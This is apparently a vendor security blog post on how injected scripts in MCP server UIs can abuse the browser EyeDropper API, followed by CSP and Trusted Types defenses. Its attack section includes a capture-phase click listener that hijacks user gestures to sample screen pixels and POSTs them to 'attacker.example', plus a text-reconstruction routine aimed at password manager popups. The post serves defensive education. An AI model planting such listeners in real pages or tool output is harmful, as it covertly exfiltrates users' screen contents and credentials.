Blog · MCP Server Security
MCP server EyeDropper API security — pixel sampling screen reconstruction, gesture hijacking, and CSP gap
The EyeDropper API lets users click anywhere on screen — including other applications — to sample a pixel color. An injected script in an MCP server UI can hijack user clicks to open the EyeDropper without consent, systematically sample screen content to reconstruct text, and exploit a gap in Content Security Policy that provides no directive to block EyeDropper calls. The only reliable defense is preventing script injection entirely.
EyeDropper API: full-screen pixel access, one sample at a time
EyeDropper.open() presents a browser-native color-picking cursor. The picker is not restricted to the browser window — it operates across the full OS display, including other applications, system UI, and other browser tabs. Each call returns one sRGB hex string representing the clicked pixel's color.
// Basic EyeDropper — requires a user gesture (transient activation) to open
const eyeDropper = new EyeDropper();
document.getElementById('pick-btn').addEventListener('click', async () => {
try {
const result = await eyeDropper.open();
// result: { sRGBHex: "#1a2b3c" }
// 24 bits of color information per click, anywhere on the display
console.log('Sampled:', result.sRGBHex);
} catch (err) {
// User pressed Escape — AbortError thrown
if (err.name !== 'AbortError') throw err;
}
});
Cross-application scope: The EyeDropper cursor operates at the OS compositor level. A user who has a password manager, SSH terminal, authentication code display, or any sensitive application visible on screen exposes that content when EyeDropper.open() is active. The browser provides no mechanism to restrict sampling to its own window.
Pixel sampling for screen content reconstruction
Dark text on a light background (the dominant rendering pattern) encodes character shapes in pixel darkness. By sampling pixels at known coordinates with sufficient density, an attacker can recover text from fixed-position UI elements — particularly browser extension popups and system-level password prompts that appear at predictable screen positions.
// ATTACK CONCEPT: reconstruct text from pixel samples
// Each character cell is typically 8–12px wide; dark pixels = character ink
function hexToLuminance(hex) {
// Parse #rrggbb and compute perceived lightness
const r = parseInt(hex.slice(1, 3), 16) / 255;
const g = parseInt(hex.slice(3, 5), 16) / 255;
const b = parseInt(hex.slice(5, 7), 16) / 255;
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
// Build a pixel bitmap of a target region
// (gesture hijacking in the next section makes repeated sampling practical)
async function buildBitmap(samples) {
// samples: [{ x, y, sRGBHex }, ...]
// Convert to binary: dark pixel (luminance < 0.5) = 1 (ink), else 0
return samples.map(s => ({
x: s.x, y: s.y,
ink: hexToLuminance(s.sRGBHex) < 0.5 ? 1 : 0
}));
}
// Target: password manager extension popup at screen position (1200, 50)
// Typical autofill field: 200px wide, 24px tall, 12pt font
// ~500 samples at 2px step fully reconstructs the rendered glyphs
// OCR on the ink bitmap recovers the password text
Known-coordinate targeting: Browser extensions such as password managers and 2FA apps render at predictable positions relative to the browser's address bar. An attacker who knows the user's browser and screen resolution can hardcode target coordinates for high-value UI regions.
Gesture hijacking via capture-phase click listener
The EyeDropper requires a user gesture — specifically, transient activation from a click or keydown — to call .open(). An injected script bypasses this by registering a capture-phase event listener that fires before the browser clears transient activation from the user's own click. The user's click event becomes the gesture for the attacker's EyeDropper.open() call.
// ATTACK: capture-phase gesture hijacking
// The user clicks something on the page; the capture-phase listener
// intercepts their transient activation and opens EyeDropper instead.
document.addEventListener('click', async (event) => {
// useCapture = true: fires before bubble-phase handlers on the target
// The click event is in progress — transient activation is valid here
try {
const picker = new EyeDropper();
// .open() called synchronously in the same task as the user click
const sample = await picker.open();
// User now clicks anywhere on screen (or another application)
// to provide the pixel sample — they see their normal cursor
await fetch('https://attacker.example/sample', {
method: 'POST',
body: JSON.stringify({
hex: sample.sRGBHex,
originX: event.screenX,
originY: event.screenY,
ts: Date.now()
}),
keepalive: true
});
} catch (e) {
// AbortError: user pressed Escape — silently continue
// User's original click still fires on bubbling phase
}
}, true /* capture = true */);
// Effect: every user click is silently consumed as an EyeDropper gesture.
// Over dozens of clicks in a session, the attacker accumulates pixels
// from wherever the user clicked — including outside the browser.
User experience impact is minimal: The EyeDropper cursor is briefly visible but matches system cursor behavior closely in many OS themes. Users who click rapidly or are not watching the cursor carefully will not notice the interception. The user's intended click still fires on the bubbling phase after the EyeDropper resolves.
The CSP gap: no directive restricts EyeDropper
As of 2026, the Content Security Policy specification includes no directive that controls EyeDropper usage. The script-src directive restricts which scripts can execute — preventing the injected script that calls EyeDropper — but a script already running in the page (via XSS, compromised CDN, or malicious npm dependency) can call EyeDropper.open() without any CSP violation being reported.
// CSP header that does NOT prevent EyeDropper in an already-executing script: // Content-Security-Policy: // default-src 'self'; // script-src 'self' 'nonce-abc123'; // connect-src 'self'; // A script running via an allowed nonce or inline eval bypass can still do: const result = await new EyeDropper().open(); // No CSP violation // Compare with screen capture APIs — getDisplayMedia() and getViewportMedia() // are blockable via: // Permissions-Policy: display-capture=() ← blocks getDisplayMedia // Permissions-Policy: window-management=() ← blocks window.getScreenDetails // // But there is no equivalent: // Permissions-Policy: eye-dropper=() ← DOES NOT EXIST in spec (as of 2026) // The only reliable defenses: // 1. strict script-src with nonces/hashes (prevents injection) // 2. Trusted Types (prevents DOM XSS injection vectors) // 3. Sandbox tool output in cross-origin iframes (prevents access to main page)
The implication is that EyeDropper cannot be defended in isolation — you cannot add a single HTTP header to block it after an injection occurs. The defense is preventing injection entirely, which requires a strict CSP combined with Trusted Types to close DOM XSS vectors.
// DEFENSE: strict CSP + Trusted Types eliminates the injection vector
// HTTP headers:
// Content-Security-Policy:
// script-src 'nonce-{random}';
// require-trusted-types-for 'script';
// trusted-types default;
// connect-src 'self' https://api.example.com;
// Application code must use a Trusted Types policy for any DOM writes:
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => {
// Sanitize — DOMPurify or equivalent
return DOMPurify.sanitize(input);
}
});
// Any innerHTML assignment with a raw string now throws:
// element.innerHTML = userString; // TypeError — Trusted Types violation
element.innerHTML = policy.createHTML(userString); // Safe
// With no way to inject a script, EyeDropper cannot be called by tool output.
EyeDropper security — risk comparison
| Pattern | Attack mechanism | Security risk | Defense |
|---|---|---|---|
Injected script calls EyeDropper.open() |
Requires gesture but capture-phase hijacking supplies it | Full-screen pixel sampling including other applications | Prevent script injection via strict CSP + Trusted Types |
MCP tool rendered without strict script-src CSP |
Injected script executes without CSP violation | Any injected code can call EyeDropper; no policy blocks it | Nonce-based script-src; hash pinning for inline scripts |
| EyeDropper call via DOM XSS without Trusted Types | Attacker injects img onerror or script tag via unsafe innerHTML |
EyeDropper call executes in page context with full gesture access | Enable require-trusted-types-for 'script'; eliminate unsafe sinks |
No Permissions-Policy: display-capture=() header |
Related screen capture APIs also unblocked alongside EyeDropper | Defense-in-depth gap — getDisplayMedia available as fallback exfil vector | Set Permissions-Policy: display-capture=() to block capture APIs |
| Tool output in same browsing context (no iframe sandbox) | Tool content shares JavaScript context with main application | Tool code can attach capture-phase listeners to document directly | Render tool output in cross-origin sandboxed iframes |
SkillAudit findings for the EyeDropper API
require-trusted-types-for 'script', DOM XSS via unsafe innerHTML assignments in tool rendering code provides an injection path for EyeDropper-calling scripts that bypasses script-src nonce controls. Score: −18.
display-capture=(); defense-in-depth controls for screen access are missing. Score: −10.
getDisplayMedia() and getViewportMedia() are not restricted; a script that cannot use EyeDropper due to gesture requirements may fall back to these capture APIs as alternative exfiltration vectors. Score: −6.
Audit your MCP server for EyeDropper API security issues
SkillAudit detects missing strict CSP script-src policies, absent Trusted Types enforcement, capture-phase event listener patterns in tool-rendered code, and the absence of Permissions-Policy headers covering screen access APIs. Free audit in 60 seconds.
Free audit →